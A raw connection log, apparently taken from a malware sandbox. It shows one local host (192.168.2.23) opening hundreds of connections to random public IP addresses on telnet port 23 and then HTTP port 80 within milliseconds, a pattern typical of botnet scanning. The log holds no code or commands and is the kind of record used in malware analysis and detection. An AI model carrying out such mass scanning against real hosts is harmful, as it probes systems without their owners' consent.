Dec 3, 2024 22:11:43.804682970 CET	8163	23	192.168.2.23	115.236.165.206
Dec 3, 2024 22:11:43.804682970 CET	8163	23	192.168.2.23	200.225.179.113
Dec 3, 2024 22:11:43.804686069 CET	8163	23	192.168.2.23	69.50.164.207
Dec 3, 2024 22:11:43.804697037 CET	8163	23	192.168.2.23	175.6.110.153
Dec 3, 2024 22:11:43.804698944 CET	8163	23	192.168.2.23	19.147.11.69
Dec 3, 2024 22:11:43.804702997 CET	8163	23	192.168.2.23	95.36.137.239
Dec 3, 2024 22:11:43.804714918 CET	8163	23	192.168.2.23	207.152.252.190
Dec 3, 2024 22:11:43.804718018 CET	8163	23	192.168.2.23	95.140.187.252
Dec 3, 2024 22:11:43.804721117 CET	8163	23	192.168.2.23	18.174.168.146
Dec 3, 2024 22:11:43.804732084 CET	8163	23	192.168.2.23	158.177.33.226
Dec 3, 2024 22:11:43.804734945 CET	8163	23	192.168.2.23	120.103.206.236
Dec 3, 2024 22:11:43.804738998 CET	8163	23	192.168.2.23	109.82.182.68
Dec 3, 2024 22:11:43.804754972 CET	8163	23	192.168.2.23	169.229.105.188
Dec 3, 2024 22:11:43.804755926 CET	8163	23	192.168.2.23	36.188.91.190
Dec 3, 2024 22:11:43.804761887 CET	8163	23	192.168.2.23	138.13.86.108
Dec 3, 2024 22:11:43.804770947 CET	8163	23	192.168.2.23	80.165.159.126
Dec 3, 2024 22:11:43.804776907 CET	8163	23	192.168.2.23	120.70.67.210
Dec 3, 2024 22:11:43.804778099 CET	8163	23	192.168.2.23	76.70.108.240
Dec 3, 2024 22:11:43.804786921 CET	8163	23	192.168.2.23	128.142.237.199
Dec 3, 2024 22:11:43.804800034 CET	8163	23	192.168.2.23	146.12.221.130
Dec 3, 2024 22:11:43.804800034 CET	8163	23	192.168.2.23	170.113.74.234
Dec 3, 2024 22:11:43.804800034 CET	8163	23	192.168.2.23	57.227.240.234
Dec 3, 2024 22:11:43.804807901 CET	8163	23	192.168.2.23	200.58.76.32
Dec 3, 2024 22:11:43.804812908 CET	8163	23	192.168.2.23	160.219.156.164
Dec 3, 2024 22:11:43.804816008 CET	8163	23	192.168.2.23	87.253.119.58
Dec 3, 2024 22:11:43.804822922 CET	8163	23	192.168.2.23	57.239.41.31
Dec 3, 2024 22:11:43.804830074 CET	8163	23	192.168.2.23	175.157.161.84
Dec 3, 2024 22:11:43.804830074 CET	8163	23	192.168.2.23	202.112.114.10
Dec 3, 2024 22:11:43.804837942 CET	8163	23	192.168.2.23	153.151.137.26
Dec 3, 2024 22:11:43.804847002 CET	8163	23	192.168.2.23	110.144.56.73
Dec 3, 2024 22:11:43.804847002 CET	8163	23	192.168.2.23	53.5.59.231
Dec 3, 2024 22:11:43.804848909 CET	8163	23	192.168.2.23	133.63.23.16
Dec 3, 2024 22:11:43.804864883 CET	8163	23	192.168.2.23	126.2.171.148
Dec 3, 2024 22:11:43.804868937 CET	8163	23	192.168.2.23	201.174.209.42
Dec 3, 2024 22:11:43.804871082 CET	8163	23	192.168.2.23	43.77.4.98
Dec 3, 2024 22:11:43.804879904 CET	8163	23	192.168.2.23	18.145.26.105
Dec 3, 2024 22:11:43.804881096 CET	8163	23	192.168.2.23	204.204.61.41
Dec 3, 2024 22:11:43.804881096 CET	8163	23	192.168.2.23	108.158.244.226
Dec 3, 2024 22:11:43.804879904 CET	8163	23	192.168.2.23	195.5.214.71
Dec 3, 2024 22:11:43.804899931 CET	8163	23	192.168.2.23	183.93.27.69
Dec 3, 2024 22:11:43.804899931 CET	8163	23	192.168.2.23	218.41.78.20
Dec 3, 2024 22:11:43.804907084 CET	8163	23	192.168.2.23	109.235.104.1
Dec 3, 2024 22:11:43.804920912 CET	8163	23	192.168.2.23	176.55.199.214
Dec 3, 2024 22:11:43.804923058 CET	8163	23	192.168.2.23	199.61.104.195
Dec 3, 2024 22:11:43.804927111 CET	8163	23	192.168.2.23	210.55.239.228
Dec 3, 2024 22:11:43.804929018 CET	8163	23	192.168.2.23	124.164.192.69
Dec 3, 2024 22:11:43.804936886 CET	8163	23	192.168.2.23	75.114.119.27
Dec 3, 2024 22:11:43.804939985 CET	8163	23	192.168.2.23	117.47.74.231
Dec 3, 2024 22:11:43.804948092 CET	8163	23	192.168.2.23	112.153.56.199
Dec 3, 2024 22:11:43.804950953 CET	8163	23	192.168.2.23	80.120.36.192
Dec 3, 2024 22:11:43.804950953 CET	8163	23	192.168.2.23	142.7.98.148
Dec 3, 2024 22:11:43.804961920 CET	8163	23	192.168.2.23	97.20.28.120
Dec 3, 2024 22:11:43.804964066 CET	8163	23	192.168.2.23	164.73.213.121
Dec 3, 2024 22:11:43.804965019 CET	8163	23	192.168.2.23	23.150.153.52
Dec 3, 2024 22:11:43.804965973 CET	8163	23	192.168.2.23	174.139.100.29
Dec 3, 2024 22:11:43.804977894 CET	8163	23	192.168.2.23	31.184.103.252
Dec 3, 2024 22:11:43.804977894 CET	8163	23	192.168.2.23	102.69.10.195
Dec 3, 2024 22:11:43.804981947 CET	8163	23	192.168.2.23	71.70.101.180
Dec 3, 2024 22:11:43.804992914 CET	8163	23	192.168.2.23	52.93.42.80
Dec 3, 2024 22:11:43.804994106 CET	8163	23	192.168.2.23	40.135.240.7
Dec 3, 2024 22:11:43.805003881 CET	8163	23	192.168.2.23	57.170.136.223
Dec 3, 2024 22:11:43.805023909 CET	8163	23	192.168.2.23	88.147.4.137
Dec 3, 2024 22:11:43.805025101 CET	8163	23	192.168.2.23	106.73.1.81
Dec 3, 2024 22:11:43.805027008 CET	8163	23	192.168.2.23	2.13.7.214
Dec 3, 2024 22:11:43.805027008 CET	8163	23	192.168.2.23	41.78.229.130
Dec 3, 2024 22:11:43.805027008 CET	8163	23	192.168.2.23	37.29.147.229
Dec 3, 2024 22:11:43.805042028 CET	8163	23	192.168.2.23	83.7.12.169
Dec 3, 2024 22:11:43.805057049 CET	8163	23	192.168.2.23	48.122.233.120
Dec 3, 2024 22:11:43.805057049 CET	8163	23	192.168.2.23	81.112.103.218
Dec 3, 2024 22:11:43.805059910 CET	8163	23	192.168.2.23	93.35.90.157
Dec 3, 2024 22:11:43.805059910 CET	8163	23	192.168.2.23	113.249.182.238
Dec 3, 2024 22:11:43.805073023 CET	8163	23	192.168.2.23	50.173.6.20
Dec 3, 2024 22:11:43.805073977 CET	8163	23	192.168.2.23	209.130.209.242
Dec 3, 2024 22:11:43.805080891 CET	8163	23	192.168.2.23	97.100.179.150
Dec 3, 2024 22:11:43.805093050 CET	8163	23	192.168.2.23	150.231.224.174
Dec 3, 2024 22:11:43.805108070 CET	8163	23	192.168.2.23	121.125.108.76
Dec 3, 2024 22:11:43.805110931 CET	8163	23	192.168.2.23	94.160.110.31
Dec 3, 2024 22:11:43.805116892 CET	8163	23	192.168.2.23	58.239.179.168
Dec 3, 2024 22:11:43.805119991 CET	8163	23	192.168.2.23	70.242.43.173
Dec 3, 2024 22:11:43.805126905 CET	8163	23	192.168.2.23	146.232.237.30
Dec 3, 2024 22:11:43.805131912 CET	8163	23	192.168.2.23	77.165.240.99
Dec 3, 2024 22:11:43.805133104 CET	8163	23	192.168.2.23	122.36.205.106
Dec 3, 2024 22:11:43.805131912 CET	8163	23	192.168.2.23	177.76.171.233
Dec 3, 2024 22:11:43.805144072 CET	8163	23	192.168.2.23	46.147.173.182
Dec 3, 2024 22:11:43.805161953 CET	8163	23	192.168.2.23	192.180.4.184
Dec 3, 2024 22:11:43.805169106 CET	8163	23	192.168.2.23	32.217.21.227
Dec 3, 2024 22:11:43.805171967 CET	8163	23	192.168.2.23	223.182.139.79
Dec 3, 2024 22:11:43.805174112 CET	8163	23	192.168.2.23	205.180.248.215
Dec 3, 2024 22:11:43.805174112 CET	8163	23	192.168.2.23	99.88.9.34
Dec 3, 2024 22:11:43.805186987 CET	8163	23	192.168.2.23	192.80.80.57
Dec 3, 2024 22:11:43.805190086 CET	8163	23	192.168.2.23	149.241.127.244
Dec 3, 2024 22:11:43.805197954 CET	8163	23	192.168.2.23	199.12.82.152
Dec 3, 2024 22:11:43.805210114 CET	8163	23	192.168.2.23	18.74.164.44
Dec 3, 2024 22:11:43.805222034 CET	8163	23	192.168.2.23	125.60.156.158
Dec 3, 2024 22:11:43.805224895 CET	8163	23	192.168.2.23	193.32.23.118
Dec 3, 2024 22:11:43.805229902 CET	8163	23	192.168.2.23	1.52.212.169
Dec 3, 2024 22:11:43.805233002 CET	8163	23	192.168.2.23	219.59.219.80
Dec 3, 2024 22:11:43.805243969 CET	8163	23	192.168.2.23	78.127.137.61
Dec 3, 2024 22:11:43.805248022 CET	8163	23	192.168.2.23	139.49.46.3
Dec 3, 2024 22:11:43.805250883 CET	8163	23	192.168.2.23	69.211.120.71
Dec 3, 2024 22:11:43.805253983 CET	8163	23	192.168.2.23	194.124.204.233
Dec 3, 2024 22:11:43.805257082 CET	8163	23	192.168.2.23	94.99.252.167
Dec 3, 2024 22:11:43.805275917 CET	8163	23	192.168.2.23	52.232.4.102
Dec 3, 2024 22:11:43.805278063 CET	8163	23	192.168.2.23	73.168.135.157
Dec 3, 2024 22:11:43.805279016 CET	8163	23	192.168.2.23	133.245.124.231
Dec 3, 2024 22:11:43.805286884 CET	8163	23	192.168.2.23	65.176.27.239
Dec 3, 2024 22:11:43.805295944 CET	8163	23	192.168.2.23	99.145.150.38
Dec 3, 2024 22:11:43.805300951 CET	8163	23	192.168.2.23	179.10.203.157
Dec 3, 2024 22:11:43.805313110 CET	8163	23	192.168.2.23	182.159.183.118
Dec 3, 2024 22:11:43.805313110 CET	8163	23	192.168.2.23	64.188.254.152
Dec 3, 2024 22:11:43.805313110 CET	8163	23	192.168.2.23	4.213.106.133
Dec 3, 2024 22:11:43.805334091 CET	8163	23	192.168.2.23	190.94.131.6
Dec 3, 2024 22:11:43.805335045 CET	8163	23	192.168.2.23	209.242.169.207
Dec 3, 2024 22:11:43.805335045 CET	8163	23	192.168.2.23	132.10.183.230
Dec 3, 2024 22:11:43.805336952 CET	8163	23	192.168.2.23	59.76.150.188
Dec 3, 2024 22:11:43.805347919 CET	8163	23	192.168.2.23	206.165.24.198
Dec 3, 2024 22:11:43.805358887 CET	8163	23	192.168.2.23	194.131.181.63
Dec 3, 2024 22:11:43.805358887 CET	8163	23	192.168.2.23	47.156.27.106
Dec 3, 2024 22:11:43.805361032 CET	8163	23	192.168.2.23	14.105.168.181
Dec 3, 2024 22:11:43.805376053 CET	8163	23	192.168.2.23	184.66.150.71
Dec 3, 2024 22:11:43.805376053 CET	8163	23	192.168.2.23	49.186.65.77
Dec 3, 2024 22:11:43.805385113 CET	8163	23	192.168.2.23	93.12.102.69
Dec 3, 2024 22:11:43.805391073 CET	8163	23	192.168.2.23	99.116.16.22
Dec 3, 2024 22:11:43.805399895 CET	8163	23	192.168.2.23	164.169.2.166
Dec 3, 2024 22:11:43.805404902 CET	8163	23	192.168.2.23	23.104.120.149
Dec 3, 2024 22:11:43.805408955 CET	8163	23	192.168.2.23	65.227.154.92
Dec 3, 2024 22:11:43.805418015 CET	8163	23	192.168.2.23	50.36.132.13
Dec 3, 2024 22:11:43.805423021 CET	8163	23	192.168.2.23	31.98.96.167
Dec 3, 2024 22:11:43.805425882 CET	8163	23	192.168.2.23	137.212.211.47
Dec 3, 2024 22:11:43.815853119 CET	6883	80	192.168.2.23	51.59.155.159
Dec 3, 2024 22:11:43.816025019 CET	6883	80	192.168.2.23	76.224.243.28
Dec 3, 2024 22:11:43.816030979 CET	6883	80	192.168.2.23	168.30.129.26
Dec 3, 2024 22:11:43.816031933 CET	6883	80	192.168.2.23	184.223.242.56
Dec 3, 2024 22:11:43.816039085 CET	6883	80	192.168.2.23	31.229.39.86
Dec 3, 2024 22:11:43.816051960 CET	6883	80	192.168.2.23	93.114.82.70
Dec 3, 2024 22:11:43.816056013 CET	6883	80	192.168.2.23	164.219.110.195
Dec 3, 2024 22:11:43.816056967 CET	6883	80	192.168.2.23	190.0.40.224
Dec 3, 2024 22:11:43.816121101 CET	6883	80	192.168.2.23	164.52.226.229
Dec 3, 2024 22:11:43.816131115 CET	6883	80	192.168.2.23	184.1.113.43
Dec 3, 2024 22:11:43.816131115 CET	6883	80	192.168.2.23	197.65.226.172
Dec 3, 2024 22:11:43.816138983 CET	6883	80	192.168.2.23	120.17.246.228
Dec 3, 2024 22:11:43.816158056 CET	6883	80	192.168.2.23	202.210.195.212
Dec 3, 2024 22:11:43.816159010 CET	6883	80	192.168.2.23	67.245.238.138
Dec 3, 2024 22:11:43.816167116 CET	6883	80	192.168.2.23	81.216.162.254
Dec 3, 2024 22:11:43.816183090 CET	6883	80	192.168.2.23	149.63.176.215
Dec 3, 2024 22:11:43.816183090 CET	6883	80	192.168.2.23	144.18.119.231
Dec 3, 2024 22:11:43.816183090 CET	6883	80	192.168.2.23	123.111.18.74
Dec 3, 2024 22:11:43.816186905 CET	6883	80	192.168.2.23	106.64.140.227
Dec 3, 2024 22:11:43.816186905 CET	6883	80	192.168.2.23	85.120.200.175
Dec 3, 2024 22:11:43.816205978 CET	6883	80	192.168.2.23	17.22.218.64
Dec 3, 2024 22:11:43.816205978 CET	6883	80	192.168.2.23	144.38.67.76
Dec 3, 2024 22:11:43.816206932 CET	6883	80	192.168.2.23	166.148.233.111
Dec 3, 2024 22:11:43.816212893 CET	6883	80	192.168.2.23	190.98.40.150
Dec 3, 2024 22:11:43.816222906 CET	6883	80	192.168.2.23	213.205.237.209
Dec 3, 2024 22:11:43.816230059 CET	6883	80	192.168.2.23	4.164.30.94
Dec 3, 2024 22:11:43.816230059 CET	6883	80	192.168.2.23	104.97.71.206
Dec 3, 2024 22:11:43.816239119 CET	6883	80	192.168.2.23	115.219.19.235
Dec 3, 2024 22:11:43.816245079 CET	6883	80	192.168.2.23	147.162.143.210
Dec 3, 2024 22:11:43.816246033 CET	6883	80	192.168.2.23	34.1.159.142
Dec 3, 2024 22:11:43.816256046 CET	6883	80	192.168.2.23	107.59.42.233
Dec 3, 2024 22:11:43.816266060 CET	6883	80	192.168.2.23	216.51.146.178
Dec 3, 2024 22:11:43.816267014 CET	6883	80	192.168.2.23	97.172.244.109
Dec 3, 2024 22:11:43.816267014 CET	6883	80	192.168.2.23	94.67.140.12
Dec 3, 2024 22:11:43.816281080 CET	6883	80	192.168.2.23	181.127.244.244
Dec 3, 2024 22:11:43.816283941 CET	6883	80	192.168.2.23	109.86.134.198
Dec 3, 2024 22:11:43.816286087 CET	6883	80	192.168.2.23	86.220.10.105
Dec 3, 2024 22:11:43.816293001 CET	6883	80	192.168.2.23	128.126.186.128
Dec 3, 2024 22:11:43.816342115 CET	6883	80	192.168.2.23	172.198.102.234
Dec 3, 2024 22:11:43.816344976 CET	6883	80	192.168.2.23	116.217.117.22
Dec 3, 2024 22:11:43.816354990 CET	6883	80	192.168.2.23	167.165.182.151
Dec 3, 2024 22:11:43.816358089 CET	6883	80	192.168.2.23	139.82.234.177
Dec 3, 2024 22:11:43.816370964 CET	6883	80	192.168.2.23	41.45.199.225
Dec 3, 2024 22:11:43.816374063 CET	6883	80	192.168.2.23	89.154.41.11
Dec 3, 2024 22:11:43.816379070 CET	6883	80	192.168.2.23	191.159.26.3
Dec 3, 2024 22:11:43.816385984 CET	6883	80	192.168.2.23	159.228.209.93
Dec 3, 2024 22:11:43.816395998 CET	6883	80	192.168.2.23	83.220.72.51
Dec 3, 2024 22:11:43.816395998 CET	6883	80	192.168.2.23	130.166.4.145
Dec 3, 2024 22:11:43.816409111 CET	6883	80	192.168.2.23	58.84.133.194
Dec 3, 2024 22:11:43.816409111 CET	6883	80	192.168.2.23	44.174.64.47
Dec 3, 2024 22:11:43.816425085 CET	6883	80	192.168.2.23	131.162.210.165
Dec 3, 2024 22:11:43.816426039 CET	6883	80	192.168.2.23	110.110.108.53
Dec 3, 2024 22:11:43.816440105 CET	6883	80	192.168.2.23	117.207.107.77
Dec 3, 2024 22:11:43.816440105 CET	6883	80	192.168.2.23	170.103.119.206
Dec 3, 2024 22:11:43.816443920 CET	6883	80	192.168.2.23	180.157.48.208
Dec 3, 2024 22:11:43.816452980 CET	6883	80	192.168.2.23	14.58.146.239
Dec 3, 2024 22:11:43.816453934 CET	6883	80	192.168.2.23	42.134.226.231
Dec 3, 2024 22:11:43.816458941 CET	6883	80	192.168.2.23	42.43.93.97
Dec 3, 2024 22:11:43.816461086 CET	6883	80	192.168.2.23	141.188.101.184
Dec 3, 2024 22:11:43.816474915 CET	6883	80	192.168.2.23	197.182.112.122
Dec 3, 2024 22:11:43.816483021 CET	6883	80	192.168.2.23	19.189.250.23
Dec 3, 2024 22:11:43.816483974 CET	6883	80	192.168.2.23	133.171.30.137
Dec 3, 2024 22:11:43.816493034 CET	6883	80	192.168.2.23	71.217.144.11
Dec 3, 2024 22:11:43.816497087 CET	6883	80	192.168.2.23	219.199.44.138
Dec 3, 2024 22:11:43.816500902 CET	6883	80	192.168.2.23	19.91.171.206
Dec 3, 2024 22:11:43.816510916 CET	6883	80	192.168.2.23	125.222.86.192
Dec 3, 2024 22:11:43.816514015 CET	6883	80	192.168.2.23	139.159.61.72
Dec 3, 2024 22:11:43.816519976 CET	6883	80	192.168.2.23	39.226.214.105
Dec 3, 2024 22:11:43.816539049 CET	6883	80	192.168.2.23	192.132.128.63
Dec 3, 2024 22:11:43.816544056 CET	6883	80	192.168.2.23	71.172.81.27
Dec 3, 2024 22:11:43.816559076 CET	6883	80	192.168.2.23	4.195.9.53
Dec 3, 2024 22:11:43.816560030 CET	6883	80	192.168.2.23	154.36.187.241
Dec 3, 2024 22:11:43.816560030 CET	6883	80	192.168.2.23	123.162.158.231
Dec 3, 2024 22:11:43.816560984 CET	6883	80	192.168.2.23	192.53.88.142
Dec 3, 2024 22:11:43.816571951 CET	6883	80	192.168.2.23	186.235.219.220
Dec 3, 2024 22:11:43.816571951 CET	6883	80	192.168.2.23	80.250.108.240
Dec 3, 2024 22:11:43.816572905 CET	6883	80	192.168.2.23	184.121.58.29
Dec 3, 2024 22:11:43.816575050 CET	6883	80	192.168.2.23	205.163.28.89
Dec 3, 2024 22:11:43.816586971 CET	6883	80	192.168.2.23	144.151.7.128
Dec 3, 2024 22:11:43.816586971 CET	6883	80	192.168.2.23	207.92.67.93
Dec 3, 2024 22:11:43.816591024 CET	6883	80	192.168.2.23	48.144.26.174
Dec 3, 2024 22:11:43.816600084 CET	6883	80	192.168.2.23	108.173.44.205
Dec 3, 2024 22:11:43.816608906 CET	6883	80	192.168.2.23	208.97.129.158
Dec 3, 2024 22:11:43.816608906 CET	6883	80	192.168.2.23	158.226.209.76
Dec 3, 2024 22:11:43.816618919 CET	6883	80	192.168.2.23	96.109.219.215
Dec 3, 2024 22:11:43.816622972 CET	6883	80	192.168.2.23	54.138.137.152
Dec 3, 2024 22:11:43.816626072 CET	6883	80	192.168.2.23	109.77.87.52
Dec 3, 2024 22:11:43.816634893 CET	6883	80	192.168.2.23	184.144.169.193
Dec 3, 2024 22:11:43.816642046 CET	6883	80	192.168.2.23	220.78.119.114
Dec 3, 2024 22:11:43.816660881 CET	6883	80	192.168.2.23	198.173.230.114
Dec 3, 2024 22:11:43.816660881 CET	6883	80	192.168.2.23	213.73.216.247
Dec 3, 2024 22:11:43.816673994 CET	6883	80	192.168.2.23	43.208.66.233
Dec 3, 2024 22:11:43.816674948 CET	6883	80	192.168.2.23	164.177.248.111
Dec 3, 2024 22:11:43.816680908 CET	6883	80	192.168.2.23	103.50.12.80
Dec 3, 2024 22:11:43.816694975 CET	6883	80	192.168.2.23	152.196.31.82
Dec 3, 2024 22:11:43.816695929 CET	6883	80	192.168.2.23	48.119.245.95
Dec 3, 2024 22:11:43.816696882 CET	6883	80	192.168.2.23	157.128.100.135
Dec 3, 2024 22:11:43.816700935 CET	6883	80	192.168.2.23	128.196.44.146
Dec 3, 2024 22:11:43.816706896 CET	6883	80	192.168.2.23	53.150.8.163
Dec 3, 2024 22:11:43.816715002 CET	6883	80	192.168.2.23	148.7.238.206
Dec 3, 2024 22:11:43.816719055 CET	6883	80	192.168.2.23	156.224.209.117
Dec 3, 2024 22:11:43.816729069 CET	6883	80	192.168.2.23	32.160.43.243
Dec 3, 2024 22:11:43.816729069 CET	6883	80	192.168.2.23	18.48.10.89
Dec 3, 2024 22:11:43.816730022 CET	6883	80	192.168.2.23	149.194.175.142
Dec 3, 2024 22:11:43.816735029 CET	6883	80	192.168.2.23	48.228.76.131
Dec 3, 2024 22:11:43.816740990 CET	6883	80	192.168.2.23	83.225.143.45
Dec 3, 2024 22:11:43.816754103 CET	6883	80	192.168.2.23	130.250.196.236
Dec 3, 2024 22:11:43.816756010 CET	6883	80	192.168.2.23	45.212.21.119
Dec 3, 2024 22:11:43.816766977 CET	6883	80	192.168.2.23	212.171.228.217
Dec 3, 2024 22:11:43.816766977 CET	6883	80	192.168.2.23	149.113.107.50
Dec 3, 2024 22:11:43.816767931 CET	6883	80	192.168.2.23	51.246.101.38
Dec 3, 2024 22:11:43.816772938 CET	6883	80	192.168.2.23	101.39.12.131
Dec 3, 2024 22:11:43.816792965 CET	6883	80	192.168.2.23	169.106.119.76
Dec 3, 2024 22:11:43.816793919 CET	6883	80	192.168.2.23	58.9.48.65
Dec 3, 2024 22:11:43.816793919 CET	6883	80	192.168.2.23	148.157.30.230
Dec 3, 2024 22:11:43.816807985 CET	6883	80	192.168.2.23	92.64.44.176
Dec 3, 2024 22:11:43.816808939 CET	6883	80	192.168.2.23	117.154.20.239
Dec 3, 2024 22:11:43.816814899 CET	6883	80	192.168.2.23	220.67.88.164
Dec 3, 2024 22:11:43.816831112 CET	6883	80	192.168.2.23	61.137.87.234
Dec 3, 2024 22:11:43.816833019 CET	6883	80	192.168.2.23	205.128.184.186
Dec 3, 2024 22:11:43.816833973 CET	6883	80	192.168.2.23	211.234.233.217
Dec 3, 2024 22:11:43.816837072 CET	6883	80	192.168.2.23	97.59.56.219
Dec 3, 2024 22:11:43.816850901 CET	6883	80	192.168.2.23	5.196.228.176
Dec 3, 2024 22:11:43.816852093 CET	6883	80	192.168.2.23	152.54.50.165
Dec 3, 2024 22:11:43.816852093 CET	6883	80	192.168.2.23	168.206.94.113
Dec 3, 2024 22:11:43.816853046 CET	6883	80	192.168.2.23	25.197.159.104
Dec 3, 2024 22:11:43.816854000 CET	6883	80	192.168.2.23	149.54.141.207
Dec 3, 2024 22:11:43.816865921 CET	6883	80	192.168.2.23	35.1.78.42
Dec 3, 2024 22:11:43.816865921 CET	6883	80	192.168.2.23	78.117.159.177
Dec 3, 2024 22:11:43.816868067 CET	6883	80	192.168.2.23	120.234.5.45
Dec 3, 2024 22:11:43.816869974 CET	6883	80	192.168.2.23	204.96.239.234
Dec 3, 2024 22:11:43.816879034 CET	6883	80	192.168.2.23	174.74.75.75
Dec 3, 2024 22:11:43.816893101 CET	6883	80	192.168.2.23	208.122.167.251
Dec 3, 2024 22:11:43.816895962 CET	6883	80	192.168.2.23	177.216.226.30
Dec 3, 2024 22:11:43.816896915 CET	6883	80	192.168.2.23	173.202.232.72
Dec 3, 2024 22:11:43.816900015 CET	6883	80	192.168.2.23	163.201.248.118
Dec 3, 2024 22:11:43.816911936 CET	6883	80	192.168.2.23	171.112.39.172
Dec 3, 2024 22:11:43.816911936 CET	6883	80	192.168.2.23	134.8.246.223
Dec 3, 2024 22:11:43.816914082 CET	6883	80	192.168.2.23	89.103.130.58
Dec 3, 2024 22:11:43.816925049 CET	6883	80	192.168.2.23	53.228.87.68
Dec 3, 2024 22:11:43.816925049 CET	6883	80	192.168.2.23	2.252.46.229
Dec 3, 2024 22:11:43.816936016 CET	6883	80	192.168.2.23	5.190.167.222
Dec 3, 2024 22:11:43.816948891 CET	6883	80	192.168.2.23	69.37.38.93
Dec 3, 2024 22:11:43.816948891 CET	6883	80	192.168.2.23	108.142.207.207
Dec 3, 2024 22:11:43.816950083 CET	6883	80	192.168.2.23	172.58.56.188
Dec 3, 2024 22:11:43.816957951 CET	6883	80	192.168.2.23	79.148.233.249
Dec 3, 2024 22:11:43.816978931 CET	6883	80	192.168.2.23	152.162.229.130
Dec 3, 2024 22:11:43.816977978 CET	6883	80	192.168.2.23	168.195.178.191
Dec 3, 2024 22:11:43.816982985 CET	6883	80	192.168.2.23	40.121.121.117
Dec 3, 2024 22:11:43.816986084 CET	6883	80	192.168.2.23	206.90.39.92
Dec 3, 2024 22:11:43.816987038 CET	6883	80	192.168.2.23	163.9.179.43
Dec 3, 2024 22:11:43.816987038 CET	6883	80	192.168.2.23	39.47.63.149
Dec 3, 2024 22:11:43.816991091 CET	6883	80	192.168.2.23	204.118.243.112
Dec 3, 2024 22:11:43.816991091 CET	6883	80	192.168.2.23	147.194.14.104
Dec 3, 2024 22:11:43.816997051 CET	6883	80	192.168.2.23	85.243.100.32
Dec 3, 2024 22:11:43.817001104 CET	6883	80	192.168.2.23	128.174.76.162
Dec 3, 2024 22:11:43.817015886 CET	6883	80	192.168.2.23	146.210.60.220
Dec 3, 2024 22:11:43.817017078 CET	6883	80	192.168.2.23	191.104.210.126
Dec 3, 2024 22:11:43.817025900 CET	6883	80	192.168.2.23	164.221.180.250
Dec 3, 2024 22:11:43.817037106 CET	6883	80	192.168.2.23	133.61.32.114
Dec 3, 2024 22:11:43.817038059 CET	6883	80	192.168.2.23	202.46.32.87
Dec 3, 2024 22:11:43.817044020 CET	6883	80	192.168.2.23	72.67.87.81
Dec 3, 2024 22:11:43.817045927 CET	6883	80	192.168.2.23	134.155.234.13
Dec 3, 2024 22:11:43.817054987 CET	6883	80	192.168.2.23	196.3.47.32
Dec 3, 2024 22:11:43.817054987 CET	6883	80	192.168.2.23	212.142.58.119
Dec 3, 2024 22:11:43.817065954 CET	6883	80	192.168.2.23	77.119.151.250
Dec 3, 2024 22:11:43.817065954 CET	6883	80	192.168.2.23	71.173.6.35
Dec 3, 2024 22:11:43.817068100 CET	6883	80	192.168.2.23	107.22.234.235
Dec 3, 2024 22:11:43.817070007 CET	6883	80	192.168.2.23	188.30.70.203
Dec 3, 2024 22:11:43.817070961 CET	6883	80	192.168.2.23	119.190.206.10
Dec 3, 2024 22:11:43.817082882 CET	6883	80	192.168.2.23	114.216.120.107
Dec 3, 2024 22:11:43.817092896 CET	6883	80	192.168.2.23	171.87.173.61
Dec 3, 2024 22:11:43.817094088 CET	6883	80	192.168.2.23	82.238.213.227
Dec 3, 2024 22:11:43.817097902 CET	6883	80	192.168.2.23	81.236.246.97
Dec 3, 2024 22:11:43.817102909 CET	6883	80	192.168.2.23	137.79.78.114
Dec 3, 2024 22:11:43.817106009 CET	6883	80	192.168.2.23	166.237.57.242
Dec 3, 2024 22:11:43.817109108 CET	6883	80	192.168.2.23	75.230.50.121
Dec 3, 2024 22:11:43.817121029 CET	6883	80	192.168.2.23	122.39.253.75
Dec 3, 2024 22:11:43.817121029 CET	6883	80	192.168.2.23	150.202.123.106
Dec 3, 2024 22:11:43.817126989 CET	6883	80	192.168.2.23	109.251.219.138
Dec 3, 2024 22:11:43.817126989 CET	6883	80	192.168.2.23	122.172.159.27
Dec 3, 2024 22:11:43.817138910 CET	6883	80	192.168.2.23	123.151.130.34
Dec 3, 2024 22:11:43.817138910 CET	6883	80	192.168.2.23	84.20.124.76
Dec 3, 2024 22:11:43.817142963 CET	6883	80	192.168.2.23	43.33.169.233
Dec 3, 2024 22:11:43.817142963 CET	6883	80	192.168.2.23	206.145.165.16
Dec 3, 2024 22:11:43.817154884 CET	6883	80	192.168.2.23	147.151.146.234
Dec 3, 2024 22:11:43.817154884 CET	6883	80	192.168.2.23	32.65.9.37
Dec 3, 2024 22:11:43.817156076 CET	6883	80	192.168.2.23	189.112.38.104
Dec 3, 2024 22:11:43.817171097 CET	6883	80	192.168.2.23	182.22.208.247
Dec 3, 2024 22:11:43.817173004 CET	6883	80	192.168.2.23	178.89.64.138
Dec 3, 2024 22:11:43.817173004 CET	6883	80	192.168.2.23	60.84.252.43
Dec 3, 2024 22:11:43.817179918 CET	6883	80	192.168.2.23	67.84.7.137
Dec 3, 2024 22:11:43.817189932 CET	6883	80	192.168.2.23	101.120.103.190
Dec 3, 2024 22:11:43.817190886 CET	6883	80	192.168.2.23	147.121.71.208
Dec 3, 2024 22:11:43.817198992 CET	6883	80	192.168.2.23	187.202.114.95
Dec 3, 2024 22:11:43.817198992 CET	6883	80	192.168.2.23	170.240.169.230
Dec 3, 2024 22:11:43.817202091 CET	6883	80	192.168.2.23	70.38.146.135
Dec 3, 2024 22:11:43.817219019 CET	6883	80	192.168.2.23	134.60.245.14
Dec 3, 2024 22:11:43.817220926 CET	6883	80	192.168.2.23	178.26.199.243
Dec 3, 2024 22:11:43.817224979 CET	6883	80	192.168.2.23	109.234.181.94
Dec 3, 2024 22:11:43.817253113 CET	6883	80	192.168.2.23	100.203.143.219
Dec 3, 2024 22:11:43.817274094 CET	6883	80	192.168.2.23	72.38.59.204
Dec 3, 2024 22:11:43.817282915 CET	6883	80	192.168.2.23	173.5.115.129
Dec 3, 2024 22:11:43.817282915 CET	6883	80	192.168.2.23	34.228.188.173
Dec 3, 2024 22:11:43.817284107 CET	6883	80	192.168.2.23	63.48.52.203
Dec 3, 2024 22:11:43.817297935 CET	6883	80	192.168.2.23	220.60.221.202
Dec 3, 2024 22:11:43.817302942 CET	6883	80	192.168.2.23	157.112.102.234
Dec 3, 2024 22:11:43.817305088 CET	6883	80	192.168.2.23	12.109.187.91
Dec 3, 2024 22:11:43.817325115 CET	6883	80	192.168.2.23	213.178.142.27
Dec 3, 2024 22:11:43.817325115 CET	6883	80	192.168.2.23	132.136.89.5
Dec 3, 2024 22:11:43.817339897 CET	6883	80	192.168.2.23	183.241.165.225
